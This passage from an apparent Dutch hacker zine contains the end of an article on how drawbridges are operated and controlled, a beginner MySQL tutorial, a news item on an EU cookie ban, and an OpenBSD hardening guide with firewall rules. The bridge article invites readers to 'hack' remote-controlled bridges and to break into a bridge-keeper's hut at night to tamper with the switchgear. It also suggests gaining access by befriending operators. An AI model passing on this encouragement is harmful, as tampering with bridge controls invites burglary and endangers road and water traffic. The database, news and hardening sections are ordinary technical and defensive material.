zie bijlage 1
stap vier; (hangt van de brug af) slagbomen (voor het wegverkeer) naar
beneden laten,
zodat straks niemand in de plomp ligt
stap vijf; eindelijk de brug open doen, het dek omhoog laten komen (op de
knop open drukken)
stap zes; (hangt van de brug af) wachten tot i helemaal open is of een ram
op de
zachte (of nood) stop geven
... het verschil tussen een noodstop en een zachte stop is, vooral dat je na
een zachte
stop weer gewoon kan verder gaan met een volgende stap (open of dicht van de
slagbomen
of de brug zelf) en bij een noodstop je eerst de stroom weer aan moet
zetten/de
noodstop er af moet halen :-) ......
goed de brug is nu open/omhoog/weetikveel
stap zeven; dicht doen/laten zakken/weetikveel, je raad het al op de knop
dicht
douwen (en de stappen in omgekeerde volgorde doorlopen, maar dat gaat vaak
automatisch,
niet vergeten de zooi ook weer uit te zetten, noodstop indrukken,
sleutelterugdraaien)
Er zijn bij handbruggen wel wat variaties met de stappen mogelijk (zonder
dat er iets
verkeert gaat), abbruggen werken voor zover ik weer volgens een vast
protocol, wijk je
af van de volgorde gebeurt er niets. Als je een ab brug zou willen hacken
kan je het
best gewoon een tijd je kijken wat er allemaal gebeurt als jou brug open en
dicht
gaat, je weet nu teminsten welke stapen de brug maakt
ab bruggen volgen (ongeveer) de stappen zoals net uitgelegt. Maar ze ook
vanaf je
pctje thuis bedienen zal tegenvallen... Hier alvast wat dingetjes die ik
weet en
of vermoed :-))
De meeste (ab)bruggen staan worden alleen overdag bedient, snachts staat de
hele
shit uit en zal je er weinig mee kunnen (of juist wel, geen idee, als je kan
uitvinden
langs welk kanaal de comm. tussen de abbrug en de werkplek gaat boeid het
niet zo)
Ze draaien, net zo als in het stoplichten verhaal, op simpele hardware. De
bruggen
waar ik werkte werden aangestuur door een 486/ 25 oid, met daarop een
(grafisch)
dosprog. dat liet zien wat er met de brug gebeurde
(verkeerslichten/slagbomen/open of
dicht). Daar onder (?) draaide een programma wat de relais/pcls van de brug
aanstuurt.
Dat prog. was geknutseld door een bruggebouwer en draaide ook onder dos. (ja
sorri voor
het gebrek aan detail)
Goed, van uit het brugwachtershuisje, je moet toch ergens zitten, kon je de
bovengenoemde
pc bedienen door braaf op een paar knopjes te drukken. De pc komt eigenlijk
niet voor in de
belevingwereld van een brugwachter, je ziet wat monitoren en je heb een stuk
of wat knopjes.
De pc staat netjes verstopt (die lui verdienen ongeveer evenveel als een
vuilnisman, als
ze er achter komen dat ze met een compu werken willen ze meer geld :-) )
Het eerste wat er sochtens gebeurt in het brugwachters huisje is koffie
zetten, natuurlijk.
Dan de bruggen aanzetten; sleutel omdraaien, werkscherm aanzetten (de
monitor
waar je naar kijkt als je een ab brug bedient; anders start de pc niet op).
btw je krijgt beeld op je werkscherm van een aantal zwart/wit cameras (voor
de echte
hobbiisten die dingen 'zien' ook infra-rood dus ook als het donker is, 150
piek
investeren in een bewakingscam, op je pc pluggen en je heb geen supergeile
nachtkijker
meer nodig) bij de ab-brug, zodat de het weg- en vaarverkeer ook kan zien.
In mijn geval 4 camerabeelden op een 15" scherm gepropt, het water links en
rechts
en de weg, ene kant ander kant. je kan wisselen tussen de verschillende ab
bruggen door,
je raad het al, op knopjes te drukken :-) Knopje van brug x indrukken en je
werkscherm
wordt leeg ander knopje van brug y indrukken en je krijgt het beeld van brug
y op je
schermpje, tata
Goed de pc staat aan je ab brug staat op de werkscherm en dan.....
naast je werkschem, staat het schem van het graf.dos prog. met daarop een
weergave van
de brug, dezelfde brug als je werkscherm. Om de abbrug te bedienen gaan we,
jewel, op
knopjes douwen. Er zijn drie setjes knoppen, een om de brug op je
werkschermen te
veranderen, een om de brug mee open en dicht te laten gaan en een voor de
rest;
scheepsvaart seinen (verkeerslichten), foutmeldingen in de brug opvragen,
lampjes
van de knopjes testen en nog wat knopjes die niet aan gesloten waren
Eerst de verkeerslichten voor de schepen goed zetten, groen voor links of
rechts,
anders doet i gewoon helemaal niets. dan naar het ander setje knopjes:
knopje 1;
de slagbomen laten zakken (weg-verkeerslichten gaan automatisch), als die
helemaal
naar beneden zijn, knopje 2; brug omhoog, wachten tot de brug helemaal open
is of op
knopje 4; stop douwen, dan knopje 3; brug dicht, het dek gaat weer omlaag,
slagbomen
open, stoplichten uit. en voor de sier nog ff de lichten voor de schepen
weer op rood zetten.
ik heb ff zitten nadenken over hoe de het signaal van het brugwachtershuisje
naar
de ab brug gaat en de beelden van de cameras (soms ook ab, de cameras, niet
allemaal :-)) ).
Het waarschijnlijkst is een aparte kabel, helaas. Maar dit weet ik niet
zeker... Wel
een duur geintje voor bruggen die 10 km verderop liggen, er is nog hoop.
Alternatieven
zijn de kpn (overheid he bruggen)(gemeente/provincie/rijk, staat op de brug
bij de naam
van de brug). dwz voor de bediening van de brug, ik weet vrij zeker dat wij
het
camarasignaal analoog binnenkregen. Kabel kan natuurlijk ook (regio casema
:P).
dr schiet me verder niet zoveel meer te binnen over ab bruggen.
(oja, hele nieuwe ab bruggen zullen wel een win/nt systeem draaien)
(oja2, het telefoonnummer van de bruggen staat in het telefoon boek
en in de watersport almanakken)
sja, als je tot hier bent gekomen vind je ab bruggen leuk ;-)
De makkelijkste manier om meer te weten te komen is een keertje
langswandelen bij
de lokale brugwachter. Het zijn lieve mensen hoor. Ze zijn, zeker swinters
de hele dag
alleen, de pleziervaart ligt dan stil en ze moeten misschien 10 keer een
brug bedienen
in een dienst van 8 uur (hmm, 10x 5 min, met een half oog naar naar een
schermpje kijken
en op wat knopjes douwen) en zeven uur voor je uit staren. Als er weinig
verkeer is
(goede brug uitzoeken) laten ze hem met plezier een keertje voor je draaien
(open maken
en weer dicht doen). Je krijgt met een beetje mzzl een lekkere bak koffie en
een koekje,
en je heb alle tijd om te kijken welk knopje wat doet. Verwacht geen
diepzinnige gesprekken,
behalve over voetbal, het weer, volkstuintjes en lokale helden (oud
brugwachters?).
Ipv hacken kan je natuurlijk ook gewoon ff inbreken (hmm, doe maar een grote
hand-brug).
Veel bruggen worden of maar heel weinig gebruikt, wel eentje kiezen die het
nog doet.
En uit de buurt blijven van junks die vinden bruggen ook leuk. Je tikt
snachts een raampje
in van het brugwachtershuisje, als er niet iets openstaat, en je gaat lekker
kloten met
de schakel kast. Je weet nu hoe het fenomeen brug werkt. Of bij een abbrug
eens uitzoeken
waar al die kabels naar toe gaan?
mzzl
-----------------------
sja plaatje knutselen moet een schemaatje zijn van land en water weg met
verkeerslichten e.d.
bijlage 1
(land)weg
| |
0| |0
0| |0 stoplichten voor landverkeer (gewoon rood/oranje/groen)
0| |0
---------- slagboom
----------------------------------------------
(water)weg 000| |000 scheepsvaart seinen (rood/groen/rood), dubbel
rood=brug buiten gebruik
| | enkel rood=brug in gebruik maar dicht, rood/groen=brug aan het
opengaan
| | groen=brug maximaal geopend
| brug |
| -dek |
000| |000
-------------------------------------------------
----------- slagboom
0| |0
0| |0
0| |0
| |
-------------------------------------------------------
11. Beginnen met MySql
-------------------------------------------------------
Ik zat te twijfelen of ik eerst iets moest schrijven over een PHP-script dat een
database aanstuurd of eerst iets over mysql. Maar ja wat heb je aan een PHP
database script als je geen database hebt om aan te sturen:) Dus is de keus toch
maar geworden om eerst maar wat over mysql te schrijven. Kun je alvast wat
kloten met een database.
Wat is mysql?
Belangrijke vraag want het is altijd fijn om te weten waar je mee bezig bent.
Mysql is een van de snelste Sql (Structured Query Language) databases. En waarom
is het zo populair niet alleen omdat het snel is maar ook omdat het GRATIS is.
Een niet onbelangrijk detail. Verder kan mysql een onbeperkt aantal users
verwerken waar ook wel fijn is op een druk bezochte site. Daarbij (mits
efficient ingericht) kan het werkt het bij meer dan 50 miljoen records nog
bloedje snel . Reden genoeg om het eens wat van naderbij te bekijken.
Installatie
De installatie zal ik hier kort behandelen ik ga er vanuit dat je genoeg kennis
hebt om een programma te kunnen compileren en anders is daar nog altijd de
install file. Ik ga d'r hierbij vanuit dat je een linuxbak hebt een voor root
kunt c.q. mag spelen en mysql nog niet geinstalleerd hebt. Als je dat niet weet
dan moet je typen 'locate mysql'.
Maar goed je kunt mysql downloaden van www.mysql.com.
Als het bestand op de hardeschijf staat moet je het uitpakken (duh). Je kunt met
een commando in een console maar ik gebruik atlijd karchiveur (kun je vinden op
www.tucows.com). Ik gebruikt hier voor de veranderng maar de console.
linux:% # tar xzf mysql.file.tar.gz
linux:% # cd mysql* //dat sterretje is ervoor zodat linux zelf het versie nummer
enz. toevoegd lekker
makkelijk //
linux:% # ./configure --prefix==/usr/local/mysql //dir waar mysql wordt
neergezet//
linux:% # make
linux:% # make install
Nog even je bent bijna klaar. We moeten alleen nog maar de standaard mysql
tables te installeren en dan kunnen we beginnen. Ga naar de directory die je
achter de prefix hebt ingevuld in dit geval /usr/local/mysql
Daar typen we
linux:% # cd bin of cd scripts //ligt aan de versie, moet je ff kijken welke van
de 2 bestaat//
linux:% # mysql_install_db
Dan nog een root password. Denk eraan dat dit volledig lost staat van het root
paswoord van je linux systeem. Je moet er net zo voorzichtig mee omgaan als met
je 'gewoon' root paswoord.
Het instellen gaat als volgt.
linux:% # mysqladmin -u root password 'je password'
linux:% # safe_mysqld&
Met het laatste commando start je de database. Als je dat niet niet doet krijg
je een error dat hij de lokal sql server niet kan vinden dan moet je dus eerst
safe_mysqld& uitvoeren voordat hij het doet.
Maar goed mysql is geinstalleerd.
SQL.
Voor degene die niet weten hoe een database werkt leg ik het hier even kort maar
hopelijk duidelijk uit. Het is heel simpel. Je hebt een bak met kaartjes
bijvoorbeeld dat ding dat op je bureau staan waar telefoonnummers inzitten. Dat
hele bakje noem je in SQL database. Het kaartje dat erin zit noem je een table.
Op die kaartje staat een naam telefoonnummer of het werk en prive is enz. In SQL
bestaat het kaartje columns (kolommen) en rijen (rows) in de columns en rows
staan de daadwerkelijke gegevens zoals het telefoonnummer dat wordt een record
genoemd. Een record is niks anders dan een stukje informatie. De informatie in
de record wordt aangeduid met verschillende types. Dit is de basis van de
database. Databases die zo zijn opgebouwd noemen we Relational Database
Managment System.
Om in te loggen type je mysql -u root -p en daarna je password. We zijn nu
ingelogd. Type maar eens een ? achter de prompt je zit dan een zooi commando's
die je kunt gebruiken. Een aantal komen aan bod in deze tutorial de rest komt
later nog wel eens. Je kunt er gerust mee experimenteren het enige wat er kan
gebeur is dat mysql in de soep draait:). Type maar eens \s (status) Je krijgt
dan verschillende gegevens over de server te zin. Misschien handig om te
begrijpen wat je aan het doen bent.
Tijd om een database te maken.
mysql > CREATE DATABASE telefoon_bak; //hoofdletters niet verplicht//
Query OK, 1 row affected (0.00 sec)
mysql> USE telefoon_bak;
Let op de ; net zoals programeertalen vereist sql ook de ;
De database (bak) is gemaakt. Nou nog de kaartjes
mysql >CREATE TABLE persoon (
>algemeenID INT(11),
>voornaam VARCHAR(10),
>achternaam VARCHAR(15));
Query OK, 0 rows affected (0.05sec)
Het eerste kaartje staat erin. Ik zal eerst uitleggen wat er gebeurd is. Ik heb
een table gemaakt met als naam persoon. In de table staan columns met de namen
algemeenID, voornaam, achternaam. INT VARCHAR(10), VARCHAR(15) zijn datatypes
die mysql gebruikt om de voornamen en achternamen op te staal hieronder staan de
belangrijkste genoemd. Er zijn er veel meer kijk voor meer info in de manual van
MySQL. AlgemeenID verdient speciale aandacht. Eigenlijk is dat het fundamentele
van een database. Aan de algemene ID wordt een waarde toegekend. Je zult die
waarde op andere records ook terug vinden. De database kan zo gegevens van
verschillende tables bij elkaar zetten als daar door een zoekstring om gevraag
wordt.
Numerieke column datatypes
INT; integers zijn gehele getallen van -2147483648 tot 2147483647
INT kun je onderverdelen in
TINYINT; integers van -128 tot 127
SMALLINT; integers van -32768 tot 32767
MEDIUMINT; integers van -8388608 tot 8388607
en BIGINT; integers van heel klein tot heel groot komt bijna niet voor:)
FLOAT(n.d) getal met n getallen voor de punt en d getallen achter de punt
String column datatypes
CHAR(n); vaste string van lengte n
VARCHAR(n); variable string van lengte n. Wordt vooral gebruikt om diskspace te
besparen
Type nu
mysql> show tables;
Je krijgt nu de tables te zien die aanwezig zijn in onze database
mysql> show columns from persoon;
Je krijgt nu te zien wat je hebt ingevuld bij CREATE TABLE ()
In columns Extra kun je ook nog allerlei 'geavanceerde' opties toevoegen maar op
te beginnen laten we dat achterwegen misschien dat ik er de volgende keer (als
die komt) wat meer over vertel
Tijd om wat in te gaan vullen
mysql> INSERT INTO persoon(algemeenID, voornaam, achternaam) VALUES ('1','
Klaas', 'Jansen');
mysql>SELECT * FROM persoon;
In table staan nu waarde. Om een beetje te experimenteren moet je eens proberen
om een voornaam langer dan 10 letters in te voeren. Maar we willen natuurlijk
ook het telefoonnummer, huisadres, postcode wegen. Daar gaan we nu voor zorgen
mysql> CREATE TABLE adres(
>algemeenID INT(11)
>telefoonnummer INT(10),
>adres VARCHAR(20),
>postcode VARCHAR(7),
>plaats VARCHAR(30));
Wat gegevens erin droppen
mysql>INSERT INTO adres (algemeenID, telefoonnummer, adres, postcode, plaats)
VALUES
>('1', '0659487362', 'mysqllaan 5', '2345 MY', 'Amsterdam');
mysql> SELECT * FROM adres;
En je krijgt de waarde te zien die je hebt ingevuld.
Gefeliciteerd je eerst databasje is een feit. Je ziet het het is heel simpel. De
beginselen dan. Om een goede database te maken die snel is zonder verloren
gegevens is een hele andere opgaven. Het voorbeeld is niet echt praktisch maar
je snapt hopelijk wel wat de bedoeling is en hoe het werkt. Ik vind het zo wel
weer genoeg. Ik hoop dat je er wat aan gehad hebt. Als je meer over mysql wilt
weten of nog een vervolg wilt waar ik wat dieper erop inga misschien in
combinatie met php moet je ff een mailjte sturen naar artikel@sanderink.org. Als
je databases en php combineert kun je hele leuke dingen doen. Je kunt pagina's
automatisch laten aanpassen als je iets in de database veranderd.
greetz,
coen666
Overnemen mag als je de bron maar vermeld.
Gebruikte bronnen:
www.devshed.com/Server_Side/MySQL/Intro/print.html
www.linuxmag.nl (artikel over sql)
-------------------------------------------------------
12. Kort.
-------------------------------------------------------
Kort is een nieuw terugkomend item in H4H, In dit deel bespreken wij nieuwtjes
op het gebied van security, artikeltjes die wij tegen kwamen in de ICT
vakbladen, forums e.d. Natuurlijk mogen lezers ook stukjes aandragen, dat kan
naar het standaard adres voor artikelen artikel@hackers4hackers.org.
--
‘Red de cookies’
Cookies hebben het aureool van spionagesoftware gekregen…
De Nederlandse Europarlementariër Wim van Velzen wil cookies uitbannen. Hiertegen
loopt het Interactieve Advertising Bureau te hoop. “Verbanning van cookies geeft
onze branche een flinke dreun”, verklaart Ruud Wanck, vice-voorzitter van
IAB-Nederland, de campagne.
Van Velzen (CDA) heeft een amendement ingediend op het voorstel van de Europese
Commissie over persoonsbescherming. Zijn suggestie cookies te verbannen komt
13 november aan de orde in de EC.
Cookies zijn een regel in een tekstbestand, aangemaakt door een webserver,
waarin allerlei gegevens over het bezoek van een surfer zijn opgenomen, zoals
een identificatienummer, adres, platform en surfprogramma. Het doel ervan is
webbezoek persoonlijk te maken en te versnellen. Van Velzen meent dat
cookies “een serieuze inbreuk kunnen veroorzaken op de persoonsbescherming
van gebruikers. Het gebruik van dergelijke programmatuur zou verboden moeten
worden, tenzij de expliciete, goed geïnformeerde en vrijelijk gegeven toestemming
van de betrokken gebruikers is verkregen”. Dit laatste staat bekend als de
opt-in opvatting.
Regelen
IAB meent dat cookies ten onrechte in politieke kringen het aureool van
spionagesoftware hebben gekregen. “Een verbod op cookies is hetzelfde als het
verbieden van huisnummers op woningen. Cookies doen niets geheimzinnigs”
stelt Wanck.
De IAB vice-voorzitter erkent dat sommige cookies persoonlijke gegevens en
surfgedrag meedragen. “Maar dan moet je richtlijnen opstellen waarin staat
welke informatie ze mogen bevatten. Om ze meteen te verbieden is voor ons een
stap te ver. We gaan zelf dergelijke richtlijnen opstellen nu dit onderwerp
actueel is geworden.”
Overigens moet de EC zich wel over deze zaak buigen omdat er geen eenduidige
aanpak is in Europa. In Duitsland bijvoorbeeld, zo weet Wanck, is het gebruik
van cookies verboden. Hier geldt een opt-in regeling. In Nederland zou de Wet
Bescherming Persoonsgegevens op dit vlak aangepast moeten worden. IAB heeft
deze week vergaderd om een gezamenlijk standpunt te formuleren. De organisatie
heeft diverse Europese afdelingen.
Vooral de Britse IAB-tak heeft de handschoen opgepakt en de campagne
‘Save our cookies’ gelanceerd. Zij heeft becijferd dat de ‘Van Velzen-optie’
187 miljoen Engelse pond verlies oplevert binnen de Engelse internetadvertentiemarkt.
Men gebruikt cookies namelijk ook om na te gaan of bepaalde webadvertenties
(of pagina’s waar ze op staan) worden bezocht. Tevens kunnen cookies persoonlijke
informatie bevatten die is te gebruiken om te beoordelen of een bepaalde
advertentie al dan niet aan een surfer wordt gepresenteerd. Verder zijn ze bruikbaar
om ervoor te zorgen dat surfers maar één keer per dag dezelfde advertentie te zien
krijgen als ze meerdere keren dezelfde webstek aandoen.
Banen
De Nederlandse tak van de belangenorganisatie heeft niet becijferd hoeveel geld en
banen een mogelijk verbod op cookies hier gaat kosten. “Wel is duidelijk dat het een
flinke dreun zal zijn”, meldt Wanck.
De opt-in regeling die Van Velzen voorstaat kan niet rekenen op de sympathie van IAB.
De groep is bang dat gebruikers dan iedere keer als ze een website bezoeken zich
opnieuw moeten registreren of hun voorkeuren steeds weer moeten ingeven. Tegelijk toept
zij bet schrikbeeld op van een bombardement met berichten die om toestemming vragen.
In het ergste geval moeten surfers betalen voor informatie omdat de advertentie
inkomstenbron is opgedroogd.
Overigens voorzien de meeste browsers in de mogelijkheid cookies ‘uit te zetten’.
De discussie over cookies is mede actueel door Microsofts .Net-strategie, die Passport
als middel wil gebruiken om een eenmalige aanmeldprocedure op het web mogelijk te maken.
(Bron: http://www.securitydatabase.net)
-------------------------------------------------------
13. Securing OpenBSD 2.9
-------------------------------------------------------
Het is mischien raadzaam om eerst dit alles op je gemak door te lezen
alvorens je iets gaat doen. Een test bak (een systeem dat nog geen functie
heeft in je netwerk) gebruiken is "zeer" raadzaam, zeker als je nog nooit een
OpenBSD kernel hebt gebakken, oefen eerst een paar keer het kernel bak\config
proces."
Ga het alleen gebruiken waar het goed voor is.
Wil je een unix variant gaan gebruiken voor als workstation zie:
http://www.linux.org, http:/www.freebsd.org of http://www.sun.com.
Ik ga ervan uit dat je weet:
Hoe je een OpenBSD systeem moet opzetten\installen
Dat je weet hoe je nic's te configen
if not: http://www.openbsd.org/faq/
Ik ga ervan uit dat je hebt:
Een snelle netwerk connectie met het internet (we gaan de patch branch
sources aka stable sources downloaden)
Een beetje snelle hardware, kernel bakken moet echt niet langer duren dan
10min. langer = ergenis, een make world doen met een 200mhz cpu zuigt ook big time.
Dit alles lijkt mischien allemaal veel werk om je OpenBSD doos te securen, toch is
dit voor de BSD UNIX freak\admin de normaalste zaak v/d wereld.
Nu we de basic blaat hebben gehad wordt het maar tijd dat we gaan beginnen,
je hebt dus nodig een default OpenBSD 2.9 base, hoe je die base wilt installen
maakt niet echt uit, cdrom\ftp\http\nfs, het komt toch uiteindelijk op de zelfde
2.9 base neer waar mee je aan de slag moet gaan, na een make build aka make world
van de stable sources (patch branch) zie je toch het verschil niet meer.
Nadat je OpenBSD 2.9 hebt geinstalled halen we direkt de doos offline van
het net.
# ifconfig <interface verbonden met het net> down
We zijn paranoia, we halen de UTP kabel er ook uit.
"Secure by default" quote gaan we niet in mee, je moet hem zelf securen, en
niet ervan uitgaan "by default" dat je fresh installed OpenBSD based systeem
daadwerkelijk secure is.
OpenBSD houdt bij een ifconfig nic down deels de nic toch active.
# netstat -an
Dat ziet er helemaal niet secure uit "by default".
# kill -9 `sed 1q /var/run/inetd.pid`
# find / -perm -4000 -print > default-perms.txt
# ls -l `cat default-perms.txt`|less
Houston we have a problem.
# ifconfig -a
fuck, dit zijn wel heel erg veel soorten netwerk interfaces, de meeste stuff
ga je mischien toch nooit gebruiken, we komen hier op terug als we de kernel
gaan configen.
BACKUP!!!
Alles wat je van plan bent om te configen of te veranderen in je OpenBSD
doos, maak er een backup van. WEG = WEG
# mkdir ~/bak;cp /etc/rc.conf ~/bak/;cp /etc/inetd.conf ~/bak/
Je zouw zeggen dat een BSD variant met Security in mind al "by default"
het systeem immutable flag:
# chflags schg /bsd
Al heeft by default op de kernel,
Schoonheids foutje (by default) van het OpenBSD team?
Straks na kernel compilen de system immutable flag weer verwijderen voor dat
je probeert cp /usr/src/sys/arch/i386/compile/JOUWKERNEL/bsd /bsd
Eerst dan weer:
# chflags noschg /bsd
Anders krijg je een blaat: /bsd: Operation not permitted err.
# cat /dev/null > /etc/inetd.conf
De volgende regels veranderen met vi in /etc/rc.conf:
sshd_flags="NO"
sendmail_flags="NO"
httpd_flags="NO"
portmap=NO
identd_flags=NO
inetd=NO
Als de boven genoemde services op YES of op "YES" staan, dan dus naar NO of
"NO" veranderen, er is een verschil tussen "YES" en YES, de flags van iets
staan meestal tussen "trema's" en om dingen te starten tijdens startup is het
gewoon zonder "trema's", het is simpel om hier in onderscheid te maken, maar
het is ook simpel om snel hier een fout te maken, soms kom je er mee weg door
perongeluk YES of NO tussen trema's te plaatsen of andersom je vergeet trema's,
je merkt het vanzelf bij startup, direkt ingrijpen dan, het hoeft niet zo
specifiek te wezen, maar kijk of het al ja\nee tussen "trema's" staat.
Deze op YES zetten in /etc/rc.conf:
ipfilter=YES
We hebben iets van firewalling nodig, zowel zometeen als we de patch branch
sources (Stable) gaan downloaden als voor er na. Een firewall is een belangrijk
onderdeel van de algehele security van jouw OpenBSD systeem, zonder firewall ben je
niks, alleen een firewall als enigste onderdeel van jouw security ben je ook
niks. IPFILTER is een goeie firewall, er zullen ongetwijfeld wel betere
commerciele op de markt zijn voor $cash, maar dat gaan we niet bespreken hier,
we hebben een open source model UNIX bestuurings systeem, gratis dus.
Edit /etc/ipf.rules met vi, maak hem eerst leeg:
# cat /dev/null > /etc/ipf.rules
# vi /etc/ipf.rules
------------------ < slash begin /etc/ipf.rules > ------------------
# kijk op http://www.securitydatabase.net voor how2's van IPFilter.
# Je basic setje rules:
# /etc/ipf.rules
# $1 = jouw interface verbonden met het net b.v: ed0,ne0,rl0 etc..
pass out quick on lo0
pass in quick on lo0
block in quick all with ipopts
block in quick all with short
block in quick all with frag
block in quick on $1 all with opt lsrr
block in quick on $1 all with opt ssrr
# Block nmap OS fingerprinting attemps, althans...probeer het tegen te
# houden, de nieuwere versies van nmap weten het al in sommige situaties
# te omzeilen, beter iets dan niets:
block in quick proto tcp all flags FUP
# http://www.3com.com/nsc/501302.html voor een kompleet overzicht van alle
# niet te route adressen.
block in quick on $1 from 0.0.0.0/32 to 0/0
block in quick on $1 from 255.255.255.255/32 to 0/0
block in quick on $1 from 192.168.0.0/16 to 0/0
block in quick on $1 from 172.16.0.0/12 to 0/0
block in quick on $1 from 127.0.0.0/8 to 0/0
block in quick on $1 from 10.0.0.0/8 to 0/0
block out quick on $1 from any to 127.0.0.1/8
block out quick on $1 from any to 192.168.0.0/16
block out quick on $1 from any to 172.16.0.0/12
block out quick on $1 from any to 10.0.0.0/8
# etc....
# aanvullen met de lijst niet te routen adressen op:
# http://www.3com.com/nsc/501302.html
# define stealth, we willen onzichtbaar zijn:
block in quick on $1 proto icmp from any to any
# in sommige gevallen moet je een paar types icmp door laten, we willen
# eerst een basis hebben dus blocken we eerst alle icmp types.
###########################################################################
#
# Op deze plek in je ipf.rules moeten de rules komen die access geven aan
# jouw services waar jij toegang aan wil gaan geven voor clients op het net,
# NIET eerder, en NIET later, dit is de plek om ze neer te zetten i.v.m met
# return-'s block rules, die rules zorgen ervoor dat niemand enige access
# kan krijgen naar services die jij draait, als jij wilt dat clients jouw
# web server moeten kunnen bereiken dan moet je dat nu HIER definen, anders
# komen de return-rst's rules langs en die blocken dan weer access naar jouw
# web server bijvoorbeeld.
# Hier volgen een paar voorbeeld rules voor:
# web(als aka httpd), dns(als aka bind), sshd(als aka sshd) en
# mail(als aka sendmail\postfix, what ever)
# Welke je van deze rules uiteindelijk ook wil gaan gebruiken uncomment ze pas
# als je klaar bent met alles te patchen\upgraden.
# voor nu, uncomment ze NIET, we moeten eerst nog de sources gaan downloaden
# en alles nog gaan patchen\upgraden op z'n minst.
#
# Voorbeeld Webserver(httpd) rule:
# pass in quick on $1 proto tcp from any to any port = 80 flags S keep state
#
# Voorbeeld Mailserver(smtp) rule:
# pass in quick on $1 proto tcp from any to any port = 25 flags S keep state
#
# Voorbeeld DNSserver rules:
# Als je zonetransfers wil toestaan:
# pass in quick on $1 proto tcp from any to any port = 53 flags S keep state
# Zonetransfers alleen toestaan aan 1 (meer kan jezelf adden) ip adres:
# pass in quick on $1 proto tcp from 123.123.123.55/32 to any port = 53 flags S keep state
#
# Clients de gelegenheid geven om dns query's te doen op je dns server:
# pass in quick on $1 proto udp from any to any port = 53 keep state
#
# We weten allemaal wel hoe buggy bind wel niet kan zijn, gelukig speelt
# OpenBSD ook hier op in door een eigen variant van bind te onderhouden,
# maar toch, alsnog, vanuit het oog punt van security, sta alleen toegang
# toe aan je Clients in je eigen domein:
# pass in quick on $1 proto udp from 123.123.123.0/24 to any port = 53 keep state
# pass in quick on $1 proto udp from 123.123.124.0/24 to any port = 53 keep state
# pass in quick on $1 proto udp from 123.123.125.0/24 to any port = 53 keep state
# pass in quick on $1 proto udp from 123.123.126.0/24 to any port = 53 keep state
# etc, etc.. je snapt hem wel.
#
#
# Voorbeeld sshd server rules:
# pass in quick on $1 from any to any port = 22
#
# De rule hier boven is spelen met vuur, je geeft hier mee toegang aan je
# sshd server aan iedereen op het net, je kan beter (again) vanuit het oog
# punt van security alleen 1 domein access geven aan je sshd server, of zelfs
# nog beter: alleen aan een paar vaste ip adressen:
# ============================================================================
# pass in quick on $1 from 123.123.123.0/24 to any port = 22
# block in log quick on $1 from any to any port = 22
# nu mogen alleen clients in het segment 123.123.123.0-255 connecten met jouw
# sshd server, derest wordt geblocked en geloged.
# ============================================================================
# andere mogelijkheid:
# ============================================================================
# pass in quick on $1 from 123.123.123.55/32 to any port = 22
# pass in quick on $1 from 123.123.123.177/32 to any port = 22
# block in log quick on $1 from any to any port = 22
# nu mogen alleen de ip's 123.123.123.55 en 123.123.123.177 connecten met jouw
# sshd server, derest wordt weer geblocked en geloged.
# ============================================================================
#
# sshd kan je gebruiken in combinatie met tcp wrappers, vergeet dan niet de
# ip's\domeinen die je access geeft via ipfilter dan ook te verwerken in je
# /etc/hosts.allow. En dan inetd.conf en rc.conf updaten, als je sshd vanuit
# inetd(.conf) gaat draaien, zet dan in rc.conf:
# sshd_flags="NO"
# op "NO" en:
# inetd=YES
# op YES zetten.
#
#
# ==== STOP, vanaf dit punt niks meer toevoegen kwa services ====
#
#
# Wouw je toch nog wat adden doe dat dan VOOR deze 2 rules:
#
block return-rst in log quick on $1 proto tcp from any to any
block return-icmp-as-dest(port-unr) in log quick on $1 proto udp from any to any
#
# We willen zelf ook nog wel kunnen connecten met het net:
pass out quick on $1 proto tcp from any to any keep state
pass out quick on $1 proto udp from any to any keep state
pass out quick on $1 proto icmp from any to any keep state
# What ever er nu nog door komt blocken en loggen:
block in log quick on $1 all
block in all
# saven en sluiten.
------------------ < slash end /etc/ipf.rules > ----------------
Dit alles gebeurdt in de "ksh" shell (korn shell), de default csh shell is een
pain in the ass om in te hacken, met ksh heb je <TAB-key> command line
completion, plus de eerder ingevoerde commands kan je easie net als in bash
terug halen via <pijl-up> toets, heb je het nog niet gedaan, doe het dan nu
direkt.
# chsh
vi wordt gestart, edit de regel met "Shell" van: /bin/csh naar /bin/ksh
saven done.
# ksh
plop, je zit in de ksh shell, mooi, dit werkt beter dan met de csh shell,
houw het default, houw alle tools die je moet gebruiken in OpenBSD bij de
default tools die standaard in de base zitten, download de package's van
BASH en pico nu dus NIET, alle tools die je nodig hebt om een secure
mogelijk OpenBSD based systeem te onderhouden zitten al in de base.
Denk goed na iederekeer als je van plan bent iets te gaan installen, heb ik het
nodig? Als ik het heb, komt mijn eigen security dan niet in gevaar? Kan ik
er niet zonder, of denk ik zelf dat ik er niet zonder kan? Vragen die je
telkens weer bij jezelf moet gaan afvragen. Kijk nadat je de sources hebt
gedownload (komen we zometeen aantoe) wat je zoekt of het daar dan in zit,
if not, vergeet het dan.
Je eigen zelf discipline komt hier bij kijken.
Voordat we de machine weer online gaan zetten moeten we nog een paar dingen
bij langs.
# echo "ALL: ALL" > /etc/hosts.deny;cat /dev/null > /etc/hosts.allow
We pakken de lijst met default set uid's er even bij:
# ls -l `cat default-perms.txt`|less
Wat wil je uiteindelijk met jouw OpenBSD systeem doen?
Denk even na over deze vraag.
Crackers als ze ooit shell access weten te scoren in jouw systeem gaan in
negen van de tien gevallen achter de files aan in "default-perms.txt",
dus wat gaat het worden?
Ben jij als admin de enigste gebruiker (lees BOFH :-) op jouw OpenBSD systeem ?
if so:
# chmod a-s `cat default-perms.txt`
Note:
Niet nu spontaan "default-perms.txt" rm'en, BACKUP!
# mv default-perms.txt ~/bak/
Dit kan sommige procesen breken, als daemons\services die je later wil gaan
draaien gaan bleren dat ze iets nu niet kunnen excecuten i.v.m met de file
perms die je zojuist hebt veranderd, kijk dan in de logs\man\faqs\how2's van
het geen in kwestie wat het nodig heeft om te kunnen functioneren en pak
"default-perms.txt" er dan bij.
Voor de admins voor wie de boven beschreven ingreep "te" extreem vinden,
pak de default-perms.txt erbij en chmod a-s elke file naar gelangen en eigen
inzicht naar het doel waar je de machine voor wil gaan gebruiken.
# chmod 600 /var/log/*
# vi /etc/rc.securelevel
Verander de regel met: securelevel=1 tijdelijk naar: securelevel=3
# vi /etc/fstab
Verander de regel met:
/dev/wd** on /tmp ffs rw 1 2
naar:
/dev/wd** on /tmp ffs nosuid,rw 1 2
/dev/wd** verschilt per systeem, bij de 1 is het /dev/wd1d bij de ander
weer /dev/wd2f, de juiste voor jouw systeem staat er al.
Heb je alleen 2 partities: "/" en een swap dan kan je deze stap skippen.
